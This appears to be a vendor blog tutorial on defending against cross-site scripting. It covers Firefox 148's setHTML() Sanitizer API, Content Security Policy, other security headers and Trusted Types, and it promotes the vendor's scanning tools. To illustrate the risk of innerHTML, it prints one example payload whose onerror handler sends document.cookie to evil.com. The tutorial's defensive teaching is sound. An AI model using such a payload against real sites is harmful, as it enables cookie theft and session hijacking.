How to Improve XSS Protection in Firefox 148 with setHTML
Cross-site scripting has been haunting web developers for decades. It consistently ranks among the top vulnerabilities in the OWASP Top 10, and despite years of awareness campaigns, security tooling, and best practices documentation, XSS attacks still account for a significant percentage of real-world breaches. The reason isn't that developers are careless — it's that sanitizing untrusted HTML is genuinely difficult to get right, and the tools available until recently were fragmented, inconsistent, or relied on third-party libraries that themselves could become attack vectors.
Firefox 148's introduction of the Sanitizer API and the setHTML() method represents a meaningful shift: browser-native, standardized HTML sanitization that removes the guesswork. This article walks through what setHTML() does, why it matters, and how to build a broader security posture around it using both code-level practices and external auditing tools.
Why innerHTML Has Always Been a Security Liability
The innerHTML property is one of the most frequently used DOM APIs in JavaScript. It's fast, readable, and intuitive. It's also one of the most common sources of XSS vulnerabilities in web applications.
When you write something like:
document.getElementById('output').innerHTML = userInput;
You're trusting that userInput contains nothing malicious. If a user submits something like:
<img src="x" onerror="fetch('https://evil.com/?c='+document.cookie)">
That code executes immediately in the victim's browser. The browser doesn't know you didn't intend for that to happen — it just parses and runs it.
Developers have historically addressed this in a few ways:
- Manual escaping: Converting
<,>,&, and"to their HTML entities. This works for plain text but breaks down when you actually need to render some HTML. - DOMPurify: A popular third-party library that strips dangerous content from HTML strings. It works well, but it's an external dependency, needs to be kept updated, and runs in userland JavaScript.
- Template literals with frameworks: React, Vue, and Angular all sanitize by default when using their templating systems — but only when you use them correctly. React's
dangerouslySetInnerHTML, for example, bypasses all of that.
None of these solutions are bad, but they all share a common weakness: they're not part of the browser itself. They can be bypassed, misconfigured, or simply forgotten.
What the Sanitizer API and setHTML() Actually Do
The Sanitizer API is a browser-native interface that lets you clean HTML before inserting it into the DOM. Firefox 148 is the first browser to ship the standardized version of this API, and it introduces setHTML() as the safe replacement for innerHTML.
Here's the basic usage:
const userInput = '<p>Hello <img src=x onerror=alert(1)> world</p>';
const element = document.getElementById('output');
element.setHTML(userInput);
That's it. The browser parses the HTML, strips anything that could execute JavaScript — event handlers, <script> tags, javascript: URLs — and inserts the safe result. The <img> tag remains, but the onerror attribute is removed.
You can also customize the sanitizer's behavior:
const sanitizer = new Sanitizer({
allowElements: ['p', 'b', 'i', 'em', 'strong', 'a'],
allowAttributes: {
'a': ['href']
}
});
element.setHTML(userInput, { sanitizer });
This gives you an allowlist-based approach — only the elements and attributes you explicitly permit will survive. Everything else gets stripped. This is the correct model for sanitization: deny by default, allow by exception.
What Gets Removed by Default
The default sanitizer configuration removes:
<script>elements<iframe>,<object>,<embed>elements- Event handler attributes (
onclick,onmouseover,onerror, etc.) javascript:URLs inhrefandsrcattributesdata:URLs in certain contexts<base>elements that could redirect relative URLs
This default behavior covers the vast majority of XSS attack vectors without any configuration on your part.
The Difference Between setHTML and setHTMLUnsafe
The API also introduces setHTMLUnsafe(), which parses HTML without sanitization — similar to innerHTML but with declarative intent. This exists for cases where you genuinely need to insert unsanitized HTML (for example, when rendering trusted server-generated content). The naming is intentional: it makes the risk explicit in the code, which is valuable during code reviews.
Building a Defense-in-Depth Security Strategy
setHTML() solves one specific problem: unsafe DOM insertion of untrusted HTML. But XSS is just one part of a broader attack surface. A complete security strategy involves multiple layers.
Content Security Policy (CSP)
CSP is an HTTP response header that tells the browser which sources of content are legitimate. Even if an attacker manages to inject a script, a well-configured CSP can prevent it from executing.
A strict CSP might look like this:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self';
Key directives to understand:
default-src 'self': Only load resources from your own origin by defaultscript-src 'nonce-...': Scripts must have a matching nonce attribute to executeobject-src 'none': Disallow plugins entirelybase-uri 'self': Prevent base tag injection attacks
CSP is one of the most effective XSS mitigations when implemented correctly, but it's also one of the most commonly misconfigured security headers. Audit your headers regularly.
Security Headers Beyond CSP
Several other HTTP headers contribute to XSS and related attack prevention:
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
X-Content-Type-Options: nosniffprevents MIME-type sniffing, which can be used to execute scripts disguised as other content typesX-Frame-Options: DENYprevents clickjacking, which can be used to trick users into triggering actions on your siteReferrer-Policycontrols how much information is included in theRefererheader when navigating away from your site
You can check all of these headers quickly using the Vulnerability Scanner at OpDeck, which checks for missing or misconfigured security headers, common XSS vectors, and other security issues across your site without requiring any setup.
Practical Migration Guide: From innerHTML to setHTML
If you're maintaining an existing codebase, here's a practical approach to migrating away from innerHTML.
Step 1: Audit Your Codebase
Search for every use of innerHTML, outerHTML, insertAdjacentHTML, and document.write. These are all potential XSS vectors. In a large codebase, this might be hundreds of occurrences.
grep -rn "innerHTML\|outerHTML\|insertAdjacentHTML\|document\.write" ./src
Categorize each one:
- Static content only: No user input involved. Low risk, but consider migrating anyway for consistency.
- Server-rendered trusted content: Content generated by your own backend. Relatively safe, but
setHTMLUnsafe()makes the intent explicit. - User-supplied or third-party content: High risk. Migrate to
setHTML()immediately.
Step 2: Handle Browser Compatibility
At the time of writing, setHTML() is available in Firefox 148+. Other browsers are expected to follow as the specification stabilizes. For now, you'll need a fallback:
function safeSetHTML(element, html, options = {}) {
if (typeof element.setHTML === 'function') {
element.setHTML(html, options);
} else {
// Fallback to DOMPurify for browsers that don't support setHTML yet
if (typeof DOMPurify !== 'undefined') {
element.innerHTML = DOMPurify.sanitize(html);
} else {
// Last resort: text only
element.textContent = html;
}
}
}
This progressive enhancement approach means you get native sanitization where it's available and a library fallback elsewhere.
Step 3: Tighten Allowlists for User Content
For any content that comes from users — comments, profile descriptions, forum posts — you should use a restrictive allowlist:
const commentSanitizer = new Sanitizer({
allowElements: ['p', 'br', 'b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre'],
allowAttributes: {}
});
function renderComment(element, commentHTML) {
element.setHTML(commentHTML, { sanitizer: commentSanitizer });
}
No links, no images, no attributes at all — just structural formatting. For a comment system, this is usually exactly what you want.
Step 4: Use Trusted Types for Broader Coverage
The Trusted Types API is a complementary browser security feature that prevents DOM XSS by requiring that strings be passed through a policy before being used in dangerous sinks like innerHTML. When combined with setHTML(), it creates a comprehensive defense:
if (window.trustedTypes && trustedTypes.createPolicy) {
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (input) => {
// Only called for innerHTML assignments
// setHTML() bypasses this because it sanitizes natively
return DOMPurify.sanitize(input);
}
});
}
Trusted Types can be enforced via CSP:
Content-Security-Policy: require-trusted-types-for 'script'
The Role of Automated Security Auditing
Writing secure code is necessary but not sufficient. You also need to continuously verify that your security configuration is correct and hasn't drifted over time. Deployments change, dependencies update, infrastructure gets reconfigured — and security headers that were in place last month might be missing today.
What to Check Regularly
Security headers: CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy. These should be present on every response that serves HTML content.
SSL/TLS configuration: An expired or misconfigured certificate undermines all your other security work. Check that your certificate is valid, that it covers all subdomains you use, and that it's using modern cipher suites. The SSL Certificate Checker can verify certificate validity, expiration dates, and chain completeness in seconds.
Mixed content: HTTPS pages loading resources over HTTP can expose your users to man-in-the-middle attacks and can cause browsers to block legitimate resources.
Third-party scripts: Every third-party script you load is a potential XSS vector. Audit what you're loading, whether it's served over HTTPS, and whether you have subresource integrity (SRI) hashes in place.
Connecting Security to Performance and SEO
Security and performance are more connected than they might appear. A site that loads slowly because of poorly optimized resources, excessive third-party scripts, or render-blocking JavaScript is also a site that's harder to audit and maintain securely. The more complex your loading chain, the more attack surface you have.
Similarly, security issues can directly impact SEO. Google's Safe Browsing flags sites that serve malware or phishing content, and a compromised site can be de-indexed entirely. Running regular SEO Audit checks alongside security audits helps you catch issues that affect both visibility and trustworthiness.
Performance audits are equally valuable. A Website Performance Analyzer can surface issues like excessive JavaScript execution time, which is often a sign of bloated third-party scripts — the same scripts that represent security risks. Reducing your JavaScript footprint improves both performance scores and security posture simultaneously.
Common Mistakes to Avoid
Even with setHTML() available, there are pitfalls worth knowing about.
Don't sanitize on the server and skip the client. Server-side sanitization is valuable, but it's not a substitute for client-side sanitization. The DOM is a client-side construct, and mutations can happen after the server has already sent its response.
Don't use setHTMLUnsafe() for user content. The name is a warning, not a suggestion. Reserve it for cases where you have genuine, verified trust in the content.
Don't forget about URL injection. setHTML() handles event handlers and script tags, but you should still validate URLs that users provide for links and images. A javascript: URL in an href is handled by the sanitizer, but application-level URL validation is still a good practice.
Don't rely solely on frontend sanitization. Sanitize on the backend too. Defense in depth means multiple independent layers — if one fails, others catch the problem.
Don't skip CSP because you're using setHTML(). These are complementary controls. setHTML() prevents unsafe DOM insertion; CSP prevents execution of injected scripts that might have gotten through via other vectors.
Looking Ahead
The Sanitizer API specification is still evolving, and browser support will expand as other vendors implement it. The key thing to watch is whether the default allowlist behavior stabilizes — right now, there's some nuance in exactly what gets stripped by default, and the specification may tighten or adjust this as real-world usage reveals edge cases.
Trusted Types adoption is also growing. Several large organizations have deployed it in production, and the combination of Trusted Types plus setHTML() represents the strongest DOM XSS protection available without a full framework.
For teams building new applications today, the recommended approach is:
- Use
setHTML()with explicit sanitizer configurations for all user-supplied HTML - Implement a strict CSP with nonces
- Enable Trusted Types enforcement
- Regularly audit security headers, SSL configuration, and third-party script usage
Conclusion
The introduction of setHTML() in Firefox 148 is a genuine step forward for web security. Browser-native sanitization is more reliable than userland solutions, harder to accidentally bypass, and signals to the industry that XSS prevention should be a first-class concern at the platform level.
But no single API solves the full problem. XSS protection requires layered defenses: secure coding practices, proper HTTP headers, regular audits, and a culture of treating untrusted input as dangerous by default.
If you want to quickly assess how well your site is currently protected, OpDeck offers free tools to check your SSL configuration, security headers, SEO health, and performance — all without requiring an account or installation. Start with the Vulnerability Scanner to see what's exposed, then work through the other tools to build a complete picture of your site's security and reliability posture.
Try these tools